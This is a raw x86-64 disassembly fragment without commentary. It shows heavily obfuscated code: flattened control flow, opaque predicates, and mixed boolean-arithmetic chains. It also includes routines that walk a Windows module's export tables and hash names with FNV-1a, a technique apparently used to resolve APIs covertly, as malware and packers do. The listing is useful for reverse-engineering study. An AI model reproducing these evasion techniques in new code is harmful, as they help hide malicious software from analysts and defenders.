and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, esi
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r11d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r11d
xor ecx, eax
not r11d
or r11d, eax
and r11d, ecx
or r11d, ebx
mov eax, esi
and eax, 0x3e90666b
mov ecx, esi
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r11d
mov eax, r11d
xor eax, esi
xor eax, 0x94aca640
xor r11d, 0x94aca640
and r11d, esi
or r11d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r11d
xor r11d, ecx
xor r11d, 0xbebcc648
and r11d, eax
mov r15d, r9d
not r15d
mov edx, r9d
and edx, 0x437fed4a
mov eax, r9d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r9d
mov ebx, r9d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r9d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r9d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edi, eax
and edi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, edi
xor edx, ebx
lea ebx, [rdx + 0x1384000]
mov edi, eax
and edi, 0x28800011
and ecx, 0x9729dbac
or ecx, edi
xor ecx, esi
mov edi, esi
xor edi, 0x4a83322f
and edi, ebx
xor edx, 0xf647adda
and edx, r8d
or edx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov ebx, eax
or ebx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ecx
mov ecx, ebx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, edx
xor eax, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xb412375a
mov edx, ebx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ebx
xor eax, 0xf5840d22
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ebx
xor edx, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, edx
and ebx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ecx
mov esi, ebx
xor esi, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, esi
mov ecx, ebx
or ecx, 0xe47d729f
mov r8d, ecx
and r8d, 0x160e96b2
mov edx, ebx
and edx, 0x9800940
or edx, r8d
xor edx, edi
xor edx, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edi
or ecx, edx
xor ecx, eax
xor ebx, eax
xor ebx, 0x1638c95a
and esi, eax
or esi, ebx
mov eax, ecx
xor eax, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or eax, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x6ec3b5e4
or ecx, 0x80801
and eax, 0x913c4a1b
or eax, 0x28c13164
xor eax, ecx
mov ecx, eax
xor ecx, 0xd736c69a
mov edx, eax
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, eax
xor ebx, 0xd385b194
and ebx, ecx
or ebx, edx
xor eax, ebx
xor ebx, 0x4b3770e
or ebx, ecx
xor eax, 0x2c7a4e6b
and eax, ebx
or r15d, 0xd1969ad4
mov ecx, r9d
and ecx, 0x248000a
mov edx, r15d
and edx, 0x98b14025
or edx, ecx
mov r10d, r15d
and r10d, 0x25043500
or r10d, edx
mov ecx, r10d
and ecx, 0xb2a41504
xor ecx, 0x20280c0
xor r10d, 0xf0ec1f1e
or r10d, ecx
and r9d, 0x22000528
and r15d, 0x5debeac7
or r15d, r9d
mov ecx, r15d
and ecx, 0xc49602b
xor ecx, 0xc496003
xor r15d, 0x10b280fc
or r15d, ecx
mov ecx, r10d
and ecx, 0xfffdff3f
xor ecx, 0x1aaf6d2c
and ecx, r10d
mov edx, r10d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r15d
and ebx, 0x64400203
or r10d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, ebx
xor r15d, edx
xor r15d, ecx
xor r15d, 0x41429241
not r10d
or r10d, r15d
mov r9d, r11d
mov r8d, r11d
mov r15d, r11d
mov esi, r11d
mov ebx, r11d
mov edi, r11d
and edi, 0x100108
mov edx, r11d
or edx, 0x3bac76d0
mov ecx, r11d
xor ecx, 0xc453892f
or ecx, edx
and edx, 0xfc6bc837
or edx, edi
mov edi, r11d
xor edx, r11d
and r11d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r11d
and r8d, 0x70663010
and r15d, 0x2190005
or r15d, 0x7c006010
xor r15d, r8d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r9d
xor esi, r15d
xor esi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r11d
xor ebx, 0xf27fff77
xor edi, 0x8d80cfea
or edi, ebx
not edi
or edi, esi
mov r9d, edi
xor r9d, 0x727f3015
mov ebx, edi
xor ebx, 0xb62cb93a
and ebx, r9d
mov r11d, edi
xor r11d, 0x49d346c5
or r11d, ebx
xor edx, 0x38284010
and edx, ecx
mov ebx, r12d
xor ebx, 0x40008000
and ebx, r12d
and r14d, 0x40008000
xor r14d, 0x4a849408
and ebx, 0x44018902
or ebx, r14d
mov ecx, r12d
mov r8d, r12d
mov esi, r12d
and esi, 0x8010000c
and ecx, 0x420021
or ecx, 0x45880090
xor ecx, ebx
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor esi, ecx
xor esi, 0x1a04008
and esi, r8d
xor ecx, 0x41a14902
or ecx, r8d
xor ecx, esi
mov ebx, r11d
mov esi, r11d
and esi, 0xb2e0d7b3
and ebx, 0x4d1f284c
or ebx, 0x22804682
xor ebx, esi
mov r14d, ebx
xor r14d, 0x6f9f6ece
mov esi, edx
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r13d, edx
and r13d, 0x4d1f284c
xor r13d, esi
mov r8d, ebx
xor r8d, 0x98385838
and r8d, r14d
mov esi, r13d
xor esi, 0x8170804
mov r15d, r13d
xor r15d, 0x4fc10d
and r15d, esi
mov r14d, ebx
or r14d, 0x858c909
or r13d, 0xf7a736f6
xor r13d, 0xf7eff7ff
or r13d, r15d
mov esi, r14d
and esi, 0x8899f000
and ebx, 0x772606f6
or ebx, esi
mov esi, r11d
xor ebx, r8d
xor r14d, 0x9878d939
and r14d, r8d
mov r8d, r11d
and esi, 0x9e366bbf
xor esi, edx
xor r8d, edx
not edx
or edx, r11d
xor ebx, 0x9838d030
or r14d, ebx
mov ebx, r12d
xor r14d, r13d
mov r15d, r12d
and r11d, 0x61c99440
or r11d, 0x21040b3
xor esi, r11d
and edx, r8d
mov r8d, esi
xor r8d, edx
xor r8d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, edx
or esi, r8d
mov edx, esi
and edx, 0xc0508439
or edx, 0x892802
and esi, 0x3faf7bc6
xor esi, edx
mov r11d, esi
xor r11d, 0x892802
mov r8d, r14d
and r8d, 0x4e3f9ca4
mov r13d, r11d
and r13d, 0xb1c0635b
xor r13d, r8d
mov edx, r11d
xor r11d, r14d
xor esi, 0xff76d7fd
or esi, r14d
and r14d, 0xb1c0635b
or r14d, 0xc081c80
xor r13d, r14d
and edx, 0x4e3f9ca4
or edx, 0xb040624a
xor edx, r13d
xor edx, 0x43b78135
and esi, r11d
or esi, edx
mov r8d, esi
not r8d
mov edx, esi
and edx, 0x4de1c672
mov r11d, esi
or r11d, 0x4de1c672
mov r14d, r11d
and r14d, 0x26011ca7
and r8d, 0x901e2108
or r8d, r14d
mov r14d, esi
xor r14d, 0x4010422
and r14d, edx
not edx
xor r14d, r8d
mov r8d, esi
and r8d, 0x420
xor r11d, edx
and edx, 0x26010887
add r8d, edx
add r8d, 0xd1f0c210
xor r8d, r14d
mov r13d, edi
mov r14d, edi
xor r15d, edi
xor edi, 0x8d80cfea
and edi, r12d
xor ecx, 0x4de1c672
xor r8d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r11d
not esi
or esi, r8d
mov edx, ecx
and edx, 0xb7fb9257
or edx, 0x42d28
and ecx, 0x48046da8
xor ecx, edx
mov r8d, ecx
mov edx, esi
and edx, 0xb7fb9257
or edx, 0x40004d08
and esi, 0x48046da8
xor esi, edx
mov edx, esi
xor edx, 0xf7fbdf5f
xor ecx, 0x48004080
and ecx, edx
mov r11d, eax
not r11d
xor r8d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r8d
mov r8d, r10d
xor r8d, 0xb2a695c4
or esi, ecx
and r13d, 0xa631f20f
xor r13d, 0x8400c20a
xor r14d, 0x2bb13de5
and ebx, 0x59ce0df0
or ebx, 0x86009003
and r12d, 0xa631f20f
xor r12d, ebx
and r13d, r9d
or r13d, r14d
mov ecx, r12d
xor r12d, 0xdfce9df3
and r12d, r13d
not r13d
xor ecx, r13d
xor ecx, 0xdfce9df3
and ecx, r13d
or r12d, ecx
mov ecx, r15d
xor ecx, 0x8d80cfea
or edi, ecx
mov r13d, r15d
xor r13d, 0x727f3015
xor r15d, edi
xor r15d, 0x727f3015
or r13d, edi
not r13d
or r13d, r15d
mov ecx, r13d
and ecx, 0xcde4750
or ecx, 0x21209829
and r13d, 0xf321b8af
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xdedf67d6
and ecx, r12d
xor r13d, r12d
xor r13d, 0xdedf67d6
or r13d, ecx
mov ecx, r13d
and ecx, 0xa94c8ce7
lea r14d, [rcx + 0x42217110]
xor ecx, 0xa94c8ce7
mov r9d, r14d
and r9d, 0x4804a0a0
mov ebx, r13d
xor ebx, 0x81480c46
and ebx, ecx
and ecx, 0x20000001
or ecx, r9d
mov edi, ecx
and edi, 0x600080a1
and r14d, 0x8042000
add edi, r14d
add edi, 0x5021e54
xor edi, ebx
xor edi, 0x33805e5d
xor ecx, 0x20000001
and ecx, ebx
or ecx, edi
and r13d, 0x56b37318
xor r13d, ecx
mov ecx, r13d
xor ecx, 0x283593b1
mov edx, r13d
xor edx, 0xd7ca6c4e
and edx, ecx
xor r13d, edx
xor r13d, 0xd7ca6c4e
or r13d, edx
mov ecx, r13d
and ecx, 0xab469b10
or ecx, 0x50b0608d
and r13d, 0x54b964ef
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xaf4f9f72
mov edx, esi
not edx
and edx, ecx
xor r13d, 0x50b0608d
and r13d, esi
or edx, r13d
and r13d, ecx
and ecx, esi
xor edx, ecx
xor r13d, edx
mov ecx, eax
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov edx, eax
and edx, 0xbf6c245a
xor edx, ecx
mov r14d, edx
xor r14d, 0xc19bdfa5
mov ebx, r10d
xor ebx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r8d
and edx, ebx
and r14d, r8d
or r14d, edx
xor r14d, edi
mov r8d, r14d
not r8d
mov edx, eax
and edx, 0xd240d802
or edx, 0x2049
or r11d, 0xde6c8a14
and r11d, 0xff7c8ab4
xor r11d, edx
mov edx, r11d
xor edx, 0xca20210
and eax, 0xcaf275d
lea ebx, [rax - 0x2dbf27fe]
xor r11d, 0xd754f
and r11d, ebx
xor eax, 0x2d3107b0
and eax, edx
or eax, r11d
mov r15d, r10d
xor r15d, 0x41f64d66
mov edx, r15d
and edx, 0x84a6247d
mov ebx, eax
and ebx, 0x84afa47d
or ebx, 0x29001a80
and eax, 0x7b505b82
and r10d, 0x98000
add edx, r10d
add edx, 0x19105080
and r15d, 0x7b505b82
xor r15d, edx
xor r15d, eax
xor r15d, ebx
mov r9d, r15d
xor r9d, 0xcfefb5ff
mov r12d, r9d
and r12d, 0x260dd63e
mov eax, r15d
and eax, 0xd9f229c1
mov r10d, r8d
mov ecx, r8d
mov r11d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and ecx, 0x493228c1
or ecx, 0x8080440c
xor ecx, r10d
mov edx, r14d
or edx, 0xdbfeebdb
xor edx, r8d
xor edx, ecx
xor edx, 0xa6beb606
mov ecx, r14d
xor ecx, 0xd9f229c1
xor r14d, 0x260dd63e
or r14d, ecx
not r14d
or r14d, edx
mov ecx, r12d
not ecx
mov edx, eax
xor edx, 0xefeff7ff
mov edi, r15d
xor edi, 0x200c436
and edi, r12d
mov ebx, eax
xor ebx, 0xcd3d5188
and ebx, edx
or eax, 0xdd2d5988
and r11d, 0x91008
xor r12d, edx
xor edx, ecx
and ecx, 0xc5044100
add ecx, r11d
add ecx, 0x2082a441
xor ecx, edi
mov esi, eax
and esi, 0x451651c1
and r15d, 0xc02000
or r15d, esi
xor eax, 0xdd3d5988
and eax, ebx
and ebx, 0xd9fb29c9
xor ebx, r15d
xor ebx, 0x41100180
or eax, ebx
xor eax, ecx
xor eax, 0x38abbcc9
or edx, r12d
not edx
or edx, eax
xor edx, r14d
mov eax, r9d
not eax
and eax, edx
xor r9d, edx
xor r9d, eax
mov esi, r13d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r13d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r13d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r13d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r13d
or r14d, ebx
and r14d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r9d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x4c4], ebx
mov edx, eax
and edx, 0x12086e0
xor r13d, 0x8480104
and r13d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r13d, ecx
mov ecx, r13d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r13d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r13d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov ebx, r14d
and ebx, 0xd5decb2c
mov eax, ebx
xor eax, 0x4912a796
mov edx, eax
or edx, 0x5d4314bb
mov ecx, r14d
or ecx, 0xaabdffd7
xor ecx, edx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor ebx, 0xd5decb2c
mov r12d, ebx
or ebx, edi
not edi
mov edx, r14d
and edx, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add edx, r8d
add edx, 0x4c400028
xor edx, r15d
mov r8d, edx
xor r8d, 0xecfc892c
mov r15d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r15d, 0x6000
xor edx, 0x130376d3
and edx, r15d
or edx, ecx
mov r15d, dword [rbp + 0x4c4]
xor r15d, 0xfcb76fbb
and r15d, r9d
xor r10d, 0xe0b76cbb
and r12d, 0x504a8308
and eax, 0x859448b4
or eax, r12d
mov ecx, r14d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, eax
xor edi, 0xdeeefffa
and edi, ebx
or edi, edx
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r13d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r13d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r13d, 0x281501
or r13d, edx
xor r13d, eax
xor r13d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r13d
mov r13d, 0x58a11e19
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov eax, r9d
xor eax, 0xef7cb561
mov edx, r9d
and edx, 0x30240e
mov ecx, eax
and ecx, 0xf1cfcab1
or ecx, edx
mov ebx, ecx
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, edx
or ebx, 0xa45bbedf
mov esi, ecx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r15d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and ecx, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, ecx
lea ecx, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, edx
mov edx, r10d
xor edx, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, r10d
xor ebx, r10d
lea edx, [r10 + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, ecx
or ebx, edx
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, ecx
mov ecx, r9d
and r9d, 0xc09208a5
and eax, 0x3a25f71a
or eax, r9d
xor ecx, r15d
xor eax, r15d
mov edx, r15d
not edx
or ebx, r8d
xor ecx, 0xef7cb561
and ecx, edx
xor eax, 0x3aa7ff9e
or eax, ecx
mov ecx, eax
and ecx, 0xd49ab90b
mov edx, eax
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, ecx
not eax
and eax, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or eax, edx
or eax, edi
xor eax, r14d
imul ecx, eax, 0x1000193
mov rax, qword [rbp + 0x468]
add rax, 2
mov rdi, qword [rbp + 0x410]
jmp 0x140085161
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x4d8]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x468], rax
mov ecx, 0xc2cb542e
mov edx, eax
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xdae09d2a
jg 0x140086d80
cmp ecx, 0xc2cb542e
je 0x140086d9a
cmp ecx, 0xc508309f
je 0x140086db9
cmp ecx, 0xcc44ccd7
jne 0x140086d50
jmp 0x140086e32
cmp ecx, 0xdae09d2b
je 0x140086dc0
cmp ecx, 0xf10f0061
je 0x140086dd9
cmp ecx, 0x68e1357e
jne 0x140086d50
jmp 0x140086df0
mov rcx, qword [rbp + 0x4d8]
cmp rcx, qword [rbp + 0x468]
mov ecx, 0xdae09d2b
mov edx, 0x68e1357e
cmove ecx, edx
xor edx, edx
jmp 0x140086d50
mov ecx, 0xf10f0061
jmp 0x140086d50
mov rcx, qword [rbp + 0x4d8]
cmp qword [rcx + 0x30], 0
setne dl
mov ecx, 0x68e1357e
jmp 0x140086d50
mov ecx, dword [rbp + 0x3e0]
jmp 0x140086d50
mov eax, edx
mov ecx, dword [rbp + 0x488]
jmp 0x140086d41
mov rax, qword [rbp + 0x498]
mov rax, qword [rax]
mov rdi, qword [rax + 0x30]
mov eax, 0x62abb3bd
jmp 0x1400850f0
mov eax, dword [rbp + 0x4c8]
cmp eax, 0xef148ef1
mov eax, 0x52b0d9bb
mov ecx, 0xa588d843
cmove eax, ecx
jmp 0x1400850f0
and al, 1
mov byte [rbp + 0x4b0], al
cmp byte [rbp + 0x4b0], 0
mov eax, 0x681faaa4
mov ecx, 0x3a8cbc47
cmovne eax, ecx
jmp 0x1400850f0
mov rax, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rax], rdi
mov eax, 0x96c966fb
jmp 0x140084f20
mov rax, qword [rbp + 0x428]
mov rbx, qword [rax]
mov eax, dword [0x1400f2750]
mov ecx, dword [0x1400f2754]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4ed]
cmp ecx, 0xa
setl byte [rbp + 0x4ee]
mov qword [rbp + 0x3f0], rbx
test rbx, rbx
mov eax, 0xbb6a640
mov ecx, 0x2b7a335b
cmove ecx, eax
mov dword [rbp + 0x408], ecx
mov eax, 0xd857b514
cmp eax, 0x1b46eaf2
jg 0x140086f00
cmp eax, 0xa73473ab
je 0x14008b939
cmp eax, 0xd857b514
jne 0x140086ec0
mov cl, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov eax, 0x1b46eaf3
mov edx, 0x2e809d8c
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140086ec0
cmp eax, 0x1b46eaf3
je 0x1400893f4
cmp eax, 0x2e809d8c
jne 0x140086ec0
lea rax, [0x1400f2128]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rax]
mov qword [rbp + 0x420], rax
mov eax, 0xaedd3aee
nop word cs:[rax + rax]
cmp eax, 0xe1ab80ac
je 0x140086f70
cmp eax, 0xc1f986a0
je 0x14008b8c4
cmp eax, 0xaedd3aee
jne 0x140086f40
cmp qword [rbp + 0x420], 0
mov eax, 0xc1f986a0
mov ecx, 0xe1ab80ac
cmove eax, ecx
jmp 0x140086f40
mov eax, 0x210ac8bc
jmp 0x140086fa0
cmp ecx, 0x4387f679
je 0x1400871a2
mov eax, ecx
cmp ecx, 0x4c0ac614
jne 0x140086fa0
mov eax, 0x1596ce59
xor ecx, ecx
mov qword [rbp + 0x418], rcx
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x210ac8bb
jle 0x140086ff0
cmp ecx, 0x4387f678
jle 0x140087050
cmp ecx, 0x59f609f8
jle 0x140086f77
cmp ecx, 0x6d411e28
je 0x140086f8d
cmp ecx, 0x74a48c19
jne 0x1400893cb
mov eax, dword [0x1400f2758]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4387f679
mov ecx, 0x9e263315
jmp 0x1400871c5
cmp ecx, 0xfbaf9ba2
jg 0x140087090
cmp ecx, 0xcf6d1809
jg 0x1400870cf
cmp ecx, 0x9e263315
je 0x1400871ac
mov eax, ecx
cmp ecx, 0xb0116fc1
jne 0x140086fa0
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4d0], eax
mov rax, qword [rbp - 0x48]
mov ecx, dword [rbp + 0x4d0]
cmp ecx, dword [rax + 0x18]
mov eax, 0xcf6d180a
mov ecx, 0xfbaf9ba3
cmove eax, ecx
jmp 0x140086fa0
cmp ecx, 0x2b7a335a
jg 0x140087110
mov eax, dword [rbp + 0x408]
cmp ecx, 0x210ac8bc
je 0x140086fa0
mov eax, ecx
cmp ecx, 0x29a05c17
jne 0x140086fa0
mov eax, 0xb0116fc1
mov dword [rbp + 0x494], 0
jmp 0x140086fa0
cmp ecx, 0xbb6a63f
jg 0x140087169
cmp ecx, 0xfbaf9ba3
je 0x1400871d7
mov eax, ecx
cmp ecx, 0xb47ad49
jne 0x140086fa0
mov eax, dword [rbp + 0x4d0]
add eax, 1
mov dword [rbp + 0x494], eax
mov eax, 0xb0116fc1
jmp 0x140086fa0
cmp ecx, 0xcf6d180a
je 0x1400871eb
mov eax, ecx
cmp ecx, 0xdf1fe156
jne 0x140086fa0
cmp dword [rbp + 0x464], 2
mov eax, 0x1596ce59
mov ecx, 0x4c0ac614
cmove eax, ecx
mov rcx, qword [rbp + 0x3d8]
mov qword [rbp + 0x418], rcx
jmp 0x140086fa0
cmp ecx, 0x2b7a335b
je 0x14008917d
mov eax, ecx
cmp ecx, 0x38ffd90d
jne 0x140086fa0
mov eax, dword [rbp + 0x4d0]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xdf1fe156
mov dword [rbp + 0x464], 1
jmp 0x140086fa0
cmp ecx, 0xbb6a640
je 0x14008926b
mov eax, ecx
cmp ecx, 0x1596ce59
jne 0x140086fa0
mov rax, qword [rbp + 0x498]
mov eax, 0x59f609f9
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3f8], rcx
jmp 0x140086fa0
mov eax, 0x9e263315
jmp 0x140086fa0
mov eax, dword [0x1400f2758]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4387f679
mov ecx, 0x29a05c17
cmove eax, ecx
cmp dword [0x1400f275c], 0xa
cmovl eax, ecx
jmp 0x140086fa0
mov eax, 0xdf1fe156
mov dword [rbp + 0x464], 2
jmp 0x140086fa0
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov esi, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x448], edx
cmovge ebx, edi
mov dword [rbp + 0x44c], ebx
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp + 0x400], edi
and edi, 1
sete r10b
mov dword [rbp + 0x438], esi
cmp esi, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and dil, r11b
or dil, dl
xor dil, bl
mov edx, edi
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4d0]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test dil, dil
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
jmp 0x140087380
mov rax, qword [rbp + 0x468]
mov rax, qword [rbp + 0x468]
mov eax, 0x9b012d00
nop word [rax + rax]
cmp eax, 0x17954bb7
jg 0x140088ed0
cmp eax, 0xbd0b03e5
jg 0x140089040
cmp eax, 0x87ce9d3c
je 0x140089091
cmp eax, 0x9b012d00
je 0x1400890ad
cmp eax, 0x9fdcb46a
jne 0x140087380
mov dword [rbp + 0x410], r9d
mov dword [rbp + 0x490], edi
mov dword [rbp + 0x488], esi
mov dword [rbp + 0x3e8], r8d
mov qword [rbp + 0x3e0], r10
test byte [rbp + 0x400], 1
movsx r9d, byte [rbp + 0x4ef]
mov r14d, dword [rbp + 0x430]
sete byte [rbp + 0x4ac]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x484]
mov eax, 0x462bec05
jmp 0x140087420
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop dword [rax]
cmp eax, 0x3117fdc3
jle 0x140087470
